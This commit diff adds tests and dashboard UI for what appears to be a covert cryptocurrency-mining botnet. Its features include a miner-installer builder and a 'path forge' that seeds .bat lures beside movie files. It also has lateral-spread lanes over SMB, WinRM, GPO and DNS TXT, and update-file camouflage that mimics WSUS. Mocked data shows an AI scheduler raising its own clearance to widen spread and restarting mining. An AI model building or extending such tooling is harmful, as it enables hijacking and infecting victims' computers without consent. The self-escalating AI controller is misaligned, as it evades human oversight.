Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
176
server/web/e2e/discover-spread-stub.ts
Normal file
176
server/web/e2e/discover-spread-stub.ts
Normal file
@@ -0,0 +1,176 @@
|
||||
/**
|
||||
* Stub agent for discover→spread E2E — acknowledges discover_and_join and reports join_lane.
|
||||
*/
|
||||
import type { APIRequestContext } from '@playwright/test';
|
||||
import { fetchFleetSecret, waitForServerHealth } from './fixtures';
|
||||
|
||||
export const E2E_DISCOVER_AGENT_ID = 'e2e-discover-spread-agent';
|
||||
export const E2E_DISCOVER_AGENT_HOSTNAME = 'E2E-Discover-Host';
|
||||
export const E2E_DISCOVER_JOIN_LANE = 'dns_txt';
|
||||
export const E2E_DISCOVER_JOIN_LABEL = 'DNS TXT';
|
||||
|
||||
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
|
||||
const STATS_INTERVAL_MS = 1_000;
|
||||
|
||||
type HubMessage = {
|
||||
type: string;
|
||||
payload: string | Record<string, unknown>;
|
||||
};
|
||||
|
||||
function parsePayload(payload: HubMessage['payload']): Record<string, unknown> {
|
||||
if (typeof payload === 'string') {
|
||||
return JSON.parse(payload) as Record<string, unknown>;
|
||||
}
|
||||
return payload;
|
||||
}
|
||||
|
||||
function wsAgentUrl(baseUrl: string): string {
|
||||
const trimmed = baseUrl.replace(/\/$/, '');
|
||||
return trimmed.replace(/^http/i, 'ws') + '/ws/agent';
|
||||
}
|
||||
|
||||
function send(ws: WebSocket, type: string, payload: Record<string, unknown>): void {
|
||||
ws.send(JSON.stringify({ type, payload }));
|
||||
}
|
||||
|
||||
function sendStubStats(ws: WebSocket, joinLane?: string): void {
|
||||
send(ws, 'stats', {
|
||||
hashrate_15s: 42,
|
||||
hashrate_1m: 42,
|
||||
hashrate_15m: 42,
|
||||
shares_submitted: 0,
|
||||
shares_accepted: 0,
|
||||
cpu_usage_pct: 5,
|
||||
memory_usage_pct: 40,
|
||||
uptime_seconds: 120,
|
||||
active_method: 'inprocess',
|
||||
mining_hashrate: 42,
|
||||
lotl_tier: 'inprocess',
|
||||
lotl_attempts: [
|
||||
{ tier: 'vuln_recon', ok: true, duration_ms: 200, phase: 'recon' },
|
||||
{ tier: 'dns_txt', ok: true, duration_ms: 450, phase: 'deploy' },
|
||||
],
|
||||
...(joinLane ? { join_lane: joinLane } : {}),
|
||||
});
|
||||
}
|
||||
|
||||
async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): Promise<() => void> {
|
||||
const ws = new WebSocket(wsAgentUrl(baseUrl));
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => reject(new Error('discover stub ws open timeout')), 10_000);
|
||||
ws.addEventListener(
|
||||
'open',
|
||||
() => {
|
||||
clearTimeout(timer);
|
||||
resolve();
|
||||
},
|
||||
{ once: true },
|
||||
);
|
||||
ws.addEventListener(
|
||||
'error',
|
||||
() => {
|
||||
clearTimeout(timer);
|
||||
reject(new Error('discover stub ws connection failed'));
|
||||
},
|
||||
{ once: true },
|
||||
);
|
||||
});
|
||||
|
||||
send(ws, 'auth', {
|
||||
agent_id: E2E_DISCOVER_AGENT_ID,
|
||||
fleet_secret: fleetSecret,
|
||||
hostname: E2E_DISCOVER_AGENT_HOSTNAME,
|
||||
version: '1.0.0-e2e',
|
||||
platform: 'windows',
|
||||
arch: 'amd64',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => reject(new Error('discover stub auth timeout')), 30_000);
|
||||
const onMessage = (ev: MessageEvent) => {
|
||||
let msg: HubMessage;
|
||||
try {
|
||||
msg = JSON.parse(String(ev.data)) as HubMessage;
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
if (msg.type !== 'auth_response') return;
|
||||
clearTimeout(timer);
|
||||
ws.removeEventListener('message', onMessage);
|
||||
const body = parsePayload(msg.payload);
|
||||
if (body.success !== true) {
|
||||
reject(new Error(`discover stub auth rejected: ${JSON.stringify(body)}`));
|
||||
return;
|
||||
}
|
||||
resolve();
|
||||
};
|
||||
ws.addEventListener('message', onMessage);
|
||||
});
|
||||
|
||||
sendStubStats(ws);
|
||||
const statsTimer = setInterval(() => sendStubStats(ws), STATS_INTERVAL_MS);
|
||||
|
||||
ws.addEventListener('message', (ev) => {
|
||||
let msg: HubMessage;
|
||||
try {
|
||||
msg = JSON.parse(String(ev.data)) as HubMessage;
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
if (msg.type !== 'command') return;
|
||||
const payload = parsePayload(msg.payload);
|
||||
const action = String(payload.action ?? '');
|
||||
const command = String(payload.command ?? '').trim().toLowerCase();
|
||||
|
||||
if (action === 'discover_and_join' || command === 'discover_and_join') {
|
||||
send(ws, 'command_result', {
|
||||
action: 'discover_and_join',
|
||||
success: true,
|
||||
message: `discover_and_join ok — join_lane=${E2E_DISCOVER_JOIN_LANE}`,
|
||||
});
|
||||
sendStubStats(ws, E2E_DISCOVER_JOIN_LANE);
|
||||
return;
|
||||
}
|
||||
|
||||
send(ws, 'command_result', { action, success: true, message: 'e2e-discover-stub-ok' });
|
||||
});
|
||||
|
||||
return () => {
|
||||
clearInterval(statsTimer);
|
||||
ws.close();
|
||||
};
|
||||
}
|
||||
|
||||
let serverReady = false;
|
||||
let disconnectStub: (() => void) | null = null;
|
||||
let connectPromise: Promise<boolean> | null = null;
|
||||
|
||||
export async function ensureDiscoverSpreadStub(request: APIRequestContext): Promise<boolean> {
|
||||
if (disconnectStub) return serverReady;
|
||||
if (!connectPromise) {
|
||||
connectPromise = (async () => {
|
||||
serverReady = await waitForServerHealth(request);
|
||||
if (!serverReady) return false;
|
||||
|
||||
const fleetSecret = await fetchFleetSecret(request);
|
||||
disconnectStub = await connectDiscoverSpreadStub(baseURL, fleetSecret);
|
||||
await new Promise((r) => setTimeout(r, 2_500));
|
||||
return true;
|
||||
})();
|
||||
}
|
||||
return connectPromise;
|
||||
}
|
||||
|
||||
export function isDiscoverSpreadStubReady(): boolean {
|
||||
return serverReady;
|
||||
}
|
||||
|
||||
export function teardownDiscoverSpreadStub(): void {
|
||||
disconnectStub?.();
|
||||
disconnectStub = null;
|
||||
connectPromise = null;
|
||||
serverReady = false;
|
||||
}
|
||||
97
server/web/e2e/discover-spread.spec.ts
Normal file
97
server/web/e2e/discover-spread.spec.ts
Normal file
@@ -0,0 +1,97 @@
|
||||
import { expect, test } from '@playwright/test';
|
||||
import { loginToDashboard } from './fixtures';
|
||||
import { ensureLiveStubAgent, isLiveStubReady } from './live-stub';
|
||||
import {
|
||||
ensureDiscoverSpreadStub,
|
||||
E2E_DISCOVER_AGENT_HOSTNAME,
|
||||
E2E_DISCOVER_AGENT_ID,
|
||||
E2E_DISCOVER_JOIN_LABEL,
|
||||
isDiscoverSpreadStubReady,
|
||||
} from './discover-spread-stub';
|
||||
import { E2E_STUB_AGENT_HOSTNAME, E2E_STUB_AGENT_ID } from './stub-agent';
|
||||
|
||||
async function openCrucibleSpreadTab(page: import('@playwright/test').Page, hostname: string) {
|
||||
await page.getByRole('link', { name: /Crucible/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
const card = page.locator('.crucible-node-card').filter({ hasText: hostname });
|
||||
await expect(card).toBeVisible({ timeout: 15_000 });
|
||||
await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
|
||||
await card.click();
|
||||
await expect(
|
||||
page.locator('.crucible-actions-card').getByText(new RegExp(`→ ${hostname}`)),
|
||||
).toBeVisible({ timeout: 10_000 });
|
||||
await page.getByRole('button', { name: 'LATERAL / SPREAD' }).click();
|
||||
await expect(page.getByRole('button', { name: 'Probe & Join' })).toBeVisible({
|
||||
timeout: 10_000,
|
||||
});
|
||||
}
|
||||
|
||||
test.describe('Crucible discover and spread E2E', () => {
|
||||
test.describe('Probe & Join command wiring', () => {
|
||||
test.beforeAll(async ({ request }) => {
|
||||
await ensureLiveStubAgent(request);
|
||||
});
|
||||
|
||||
test.beforeEach(async ({ page }) => {
|
||||
test.skip(
|
||||
!isLiveStubReady(),
|
||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||
);
|
||||
await loginToDashboard(page);
|
||||
});
|
||||
|
||||
test('Probe & Join fires POST discover_and_join for selected online node', async ({ page }) => {
|
||||
await openCrucibleSpreadTab(page, E2E_STUB_AGENT_HOSTNAME);
|
||||
|
||||
const commandRequest = page.waitForRequest(
|
||||
(req) =>
|
||||
req.method() === 'POST' &&
|
||||
req.url().includes(`/api/v1/agents/${E2E_STUB_AGENT_ID}/command`) &&
|
||||
req.postDataJSON()?.action === 'discover_and_join',
|
||||
);
|
||||
|
||||
await page.getByRole('button', { name: 'Probe & Join' }).click();
|
||||
|
||||
const request = await commandRequest;
|
||||
expect(request.postDataJSON()).toMatchObject({ action: 'discover_and_join' });
|
||||
await expect(page.locator('.crucible-terminal')).toContainText('discover_and_join → 1 node(s)', {
|
||||
timeout: 10_000,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
test.describe('Multi-hop discover→spread acknowledgment', () => {
|
||||
test.beforeAll(async ({ request }) => {
|
||||
await ensureDiscoverSpreadStub(request);
|
||||
});
|
||||
|
||||
test.beforeEach(async ({ page }) => {
|
||||
test.skip(
|
||||
!isDiscoverSpreadStubReady(),
|
||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||
);
|
||||
await loginToDashboard(page);
|
||||
});
|
||||
|
||||
test('discover_and_join stub ack updates join lane in Access Depth', async ({ page }) => {
|
||||
await openCrucibleSpreadTab(page, E2E_DISCOVER_AGENT_HOSTNAME);
|
||||
|
||||
const commandRequest = page.waitForRequest(
|
||||
(req) =>
|
||||
req.method() === 'POST' &&
|
||||
req.url().includes(`/api/v1/agents/${E2E_DISCOVER_AGENT_ID}/command`) &&
|
||||
req.postDataJSON()?.action === 'discover_and_join',
|
||||
);
|
||||
|
||||
await page.getByRole('button', { name: 'Probe & Join' }).click();
|
||||
await commandRequest;
|
||||
|
||||
await expect(page.locator('.crucible-terminal')).toContainText('discover_and_join → 1 node(s)', {
|
||||
timeout: 10_000,
|
||||
});
|
||||
await expect(page.locator('.access-depth-panel')).toContainText(E2E_DISCOVER_JOIN_LABEL, {
|
||||
timeout: 15_000,
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
168
server/web/e2e/lotl-timeline.spec.ts
Normal file
168
server/web/e2e/lotl-timeline.spec.ts
Normal file
@@ -0,0 +1,168 @@
|
||||
import { expect, test } from '@playwright/test';
|
||||
import { loginToDashboard } from './fixtures';
|
||||
import { ensureLiveStubAgent, isLiveStubReady } from './live-stub';
|
||||
import { E2E_STUB_AGENT_HOSTNAME, E2E_STUB_AGENT_ID } from './stub-agent';
|
||||
|
||||
/** Display labels for DEFAULT_LOTL_ONION_TIERS (14-tier spread chain). */
|
||||
const LOTL_ONION_TIER_LABELS = [
|
||||
'Vuln Recon',
|
||||
'Docker',
|
||||
'WSL',
|
||||
'PowerShell',
|
||||
'dotnet',
|
||||
'bits/curl',
|
||||
'do_peer',
|
||||
'wsus_cache_peer',
|
||||
'dns_txt',
|
||||
'webrtc_mesh',
|
||||
'SMB',
|
||||
'WinRM',
|
||||
'Linux',
|
||||
'GPO',
|
||||
] as const;
|
||||
|
||||
test.describe('LOTL Timeline E2E', () => {
|
||||
test.beforeAll(async ({ request }) => {
|
||||
await ensureLiveStubAgent(request);
|
||||
});
|
||||
|
||||
test.beforeEach(async ({ page }) => {
|
||||
test.skip(
|
||||
!isLiveStubReady(),
|
||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||
);
|
||||
await loginToDashboard(page);
|
||||
});
|
||||
|
||||
test('renders 14-tier onion chain, fleet overview, and stub agent progression', async ({ page }) => {
|
||||
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
|
||||
await expect(page.getByRole('heading', { name: 'LOTL Timeline' })).toBeVisible({
|
||||
timeout: 10_000,
|
||||
});
|
||||
await expect(page.getByText('FLEET ONION PROGRESS')).toBeVisible();
|
||||
await expect(
|
||||
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
await expect(page.locator('.lotl-fleet-chip--selected').filter({ hasText: E2E_STUB_AGENT_HOSTNAME })).toBeVisible();
|
||||
await expect(page.getByText('ONION TIER CHAIN')).toBeVisible();
|
||||
await expect(page.locator('.lotl-tier-timeline')).toBeVisible();
|
||||
|
||||
const steps = page.locator('.lotl-tier-step');
|
||||
await expect(steps).toHaveCount(14);
|
||||
|
||||
for (const label of LOTL_ONION_TIER_LABELS) {
|
||||
await expect(page.locator('.lotl-tier-label', { hasText: label })).toBeVisible();
|
||||
}
|
||||
|
||||
// Stub lotl_attempts: container (docker alias) failed — spread onion timeline.
|
||||
await expect(page.locator('.lotl-tier-step--failed', { hasText: /Docker/i })).toBeVisible({
|
||||
timeout: 15_000,
|
||||
});
|
||||
});
|
||||
|
||||
test('navigates from sidebar Onion link to /lotl-timeline', async ({ page }) => {
|
||||
await page.getByRole('navigation').getByRole('link', { name: 'Onion', exact: true }).click();
|
||||
await expect(page).toHaveURL(/\/lotl-timeline/);
|
||||
await expect(page.getByRole('heading', { name: 'LOTL Timeline' })).toBeVisible({
|
||||
timeout: 10_000,
|
||||
});
|
||||
});
|
||||
|
||||
test('shows AI decision panel when ai_control_enabled and decisions are mocked', async ({ page }) => {
|
||||
await page.route('**/api/v1/config', async (route) => {
|
||||
const res = await route.fetch();
|
||||
const body = (await res.json()) as Record<string, unknown>;
|
||||
const server = (body.server as Record<string, unknown> | undefined) ?? {};
|
||||
await route.fulfill({
|
||||
json: { ...body, server: { ...server, ai_control_enabled: true } },
|
||||
});
|
||||
});
|
||||
await page.route(`**/api/v1/ai/decisions?agent_id=${E2E_STUB_AGENT_ID}*`, async (route) => {
|
||||
await route.fulfill({
|
||||
json: [
|
||||
{
|
||||
id: 42,
|
||||
agent_id: E2E_STUB_AGENT_ID,
|
||||
response: 'restart mining after docker failure',
|
||||
commands_executed: 'restart_mining:ok',
|
||||
ts: '2026-06-07T12:00:00Z',
|
||||
},
|
||||
],
|
||||
});
|
||||
});
|
||||
|
||||
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
|
||||
await expect(
|
||||
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
await expect(page.getByText('LAST AI DECISION')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText('restart mining after docker failure')).toBeVisible();
|
||||
await expect(page.getByText('restart_mining:ok')).toBeVisible();
|
||||
});
|
||||
|
||||
test('shows Singular Machine Court panel when court session is mocked', async ({ page }) => {
|
||||
await page.route('**/api/v1/config', async (route) => {
|
||||
const res = await route.fetch();
|
||||
const body = (await res.json()) as Record<string, unknown>;
|
||||
const server = (body.server as Record<string, unknown> | undefined) ?? {};
|
||||
await route.fulfill({
|
||||
json: { ...body, server: { ...server, ai_control_enabled: true } },
|
||||
});
|
||||
});
|
||||
await page.route(`**/api/v1/ai/decisions?agent_id=${E2E_STUB_AGENT_ID}*`, async (route) => {
|
||||
await route.fulfill({
|
||||
json: [
|
||||
{
|
||||
id: 43,
|
||||
agent_id: E2E_STUB_AGENT_ID,
|
||||
response: 'Verdict: restart mining after tier exhaustion.',
|
||||
commands_executed: 'restart_mining:ok',
|
||||
court_session: true,
|
||||
prosecutor_snippet: 'Failure atlas: docker 8/8 failed',
|
||||
defender_snippet: 'Fleet phenotype from worker-07',
|
||||
judge_verdict: 'restart mining after tier exhaustion.',
|
||||
ts: '2026-06-07T12:05:00Z',
|
||||
},
|
||||
],
|
||||
});
|
||||
});
|
||||
|
||||
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
|
||||
await expect(
|
||||
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
await expect(page.getByText('SINGULAR MACHINE COURT')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText('Prosecutor')).toBeVisible();
|
||||
await expect(page.getByText('Defender')).toBeVisible();
|
||||
await expect(page.getByText('Judge')).toBeVisible();
|
||||
await expect(page.getByText(/Failure atlas: docker 8\/8 failed/i)).toBeVisible();
|
||||
await expect(page.getByText(/Fleet phenotype from worker-07/i)).toBeVisible();
|
||||
});
|
||||
|
||||
test('shows clearance history and events panels when mocked', async ({ page }) => {
|
||||
await page.route(`**/api/v1/ai/clearance-events?agent_id=${E2E_STUB_AGENT_ID}*`, async (route) => {
|
||||
await route.fulfill({
|
||||
json: [
|
||||
{
|
||||
id: 7,
|
||||
agent_id: E2E_STUB_AGENT_ID,
|
||||
from_level: 1,
|
||||
to_level: 2,
|
||||
reason: 'spread lane needed',
|
||||
source: 'ai_scheduler',
|
||||
ts: '2026-06-07T11:00:00Z',
|
||||
},
|
||||
],
|
||||
});
|
||||
});
|
||||
|
||||
await page.goto(`/lotl-timeline?agent=${encodeURIComponent(E2E_STUB_AGENT_ID)}`);
|
||||
await expect(
|
||||
page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
await expect(page.getByText('CLEARANCE HISTORY')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.locator('.lotl-clearance-list').getByText(/AI: L1 → L2/i)).toBeVisible();
|
||||
await expect(page.getByText('CLEARANCE EVENTS')).toBeVisible();
|
||||
await expect(page.locator('.lotl-clearance-event-list').getByText(/spread lane needed/i)).toBeVisible();
|
||||
});
|
||||
});
|
||||
@@ -346,4 +346,87 @@ describe('BuilderPage', () => {
|
||||
});
|
||||
await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
|
||||
});
|
||||
|
||||
it('calls cancelBuild when Kill Build is clicked during single forge', async () => {
|
||||
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
||||
vi.spyOn(api, 'buildAgent').mockReturnValue(new Promise<BuildResult>(() => {}));
|
||||
|
||||
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({ stage: 'Compiling', pct: 10 }),
|
||||
}));
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
||||
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
||||
|
||||
const killBtn = await screen.findByRole('button', { name: /Kill Build/i });
|
||||
fireEvent.click(killBtn);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(cancelSpy).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
it('submits path forge and shows placement summary', async () => {
|
||||
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
||||
const fetchMock = vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({
|
||||
success: true,
|
||||
placed: 3,
|
||||
total: 1,
|
||||
skipped: 2,
|
||||
errors: 0,
|
||||
results: [{ source: 'movie.mkv', files: ['movie.bat', 'click_bat_to_unlock_movie'] }],
|
||||
}),
|
||||
});
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
||||
|
||||
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
|
||||
const pathInput = within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i);
|
||||
fireEvent.change(pathInput, { target: { value: 'D:\\Movies' } });
|
||||
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
|
||||
|
||||
expect(await screen.findByText(/3 files placed across 1 source files/i)).toBeInTheDocument();
|
||||
expect(fetchMock).toHaveBeenCalledWith(
|
||||
'/api/v1/builder/path-forge',
|
||||
expect.objectContaining({ method: 'POST' }),
|
||||
);
|
||||
});
|
||||
|
||||
it('shows path forge busy state while seeding', async () => {
|
||||
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
||||
let resolveForge!: (value: Response) => void;
|
||||
const fetchMock = vi.fn().mockReturnValue(
|
||||
new Promise<Response>((resolve) => {
|
||||
resolveForge = resolve;
|
||||
}),
|
||||
);
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
||||
|
||||
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
|
||||
fireEvent.change(within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i), {
|
||||
target: { value: 'D:\\Movies' },
|
||||
});
|
||||
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
|
||||
|
||||
expect(await screen.findByRole('button', { name: /Seeding/i })).toBeDisabled();
|
||||
|
||||
resolveForge({
|
||||
ok: true,
|
||||
json: async () => ({ success: true, placed: 1, total: 1, errors: 0, results: [] }),
|
||||
} as Response);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i })).not.toBeDisabled();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -857,9 +857,10 @@ export default function BuilderPage() {
|
||||
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
|
||||
[form, fusionPrepFile]
|
||||
);
|
||||
const fusionPrepSelected = !!fusionPrepFile || fusionBatchFiles.length > 0;
|
||||
const preflightChecks = useMemo(
|
||||
() => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
|
||||
[form, fusionPrepFile]
|
||||
() => (form ? runForgePreflight(normalizeForgeForm(form), fusionPrepSelected) : []),
|
||||
[form, fusionPrepSelected]
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
@@ -2963,6 +2964,24 @@ export default function BuilderPage() {
|
||||
<FieldHint field="winrm_spread" />
|
||||
</div>
|
||||
|
||||
<div className="form-group" style={{ marginBottom: '0.75rem' }}>
|
||||
<label className="label">Fleet role</label>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
{(['auto', 'miner', 'seeder'] as const).map((role) => (
|
||||
<button
|
||||
key={role}
|
||||
type="button"
|
||||
className={`endpoint-chip ${(form.fleet_role ?? 'auto') === role ? 'active' : ''}`}
|
||||
title={role === 'seeder' ? 'LAN staging only — dns_txt/webrtc/do_peer, no RandomX' : role === 'miner' ? 'Pull from nearest seeder, hash RandomX' : 'Server assigns role on auth when Calibrate fleet_roles_enabled'}
|
||||
onClick={() => updateField('fleet_role', role)}
|
||||
>
|
||||
{role === 'auto' ? 'Auto' : role === 'miner' ? 'Miner' : 'Seeder'}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<p className="form-hint">Seeder skips mining; miners may pull payloads from LAN seeders via webrtc/do_peer.</p>
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.dns_txt_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.dns_txt_spread !== false}
|
||||
@@ -2985,6 +3004,17 @@ export default function BuilderPage() {
|
||||
<ForgeLockedHint meta={fieldMeta.wsus_cache_peer_spread} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.wsus_format_mimic?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.wsus_format_mimic !== false}
|
||||
disabled={fieldMeta.wsus_format_mimic?.disabled || form.wsus_cache_peer_spread === false}
|
||||
onChange={(e) => updateField('wsus_format_mimic', e.target.checked)} />
|
||||
<span>WSUS Format Mimic — *.cab.partial SSU/CAB camouflage <HelpTip field="wsus_format_mimic" /></span>
|
||||
</label>
|
||||
<FieldHint field="wsus_format_mimic" />
|
||||
<ForgeLockedHint meta={fieldMeta.wsus_format_mimic} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.webrtc_mesh_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.webrtc_mesh_spread}
|
||||
|
||||
Reference in New Issue
Block a user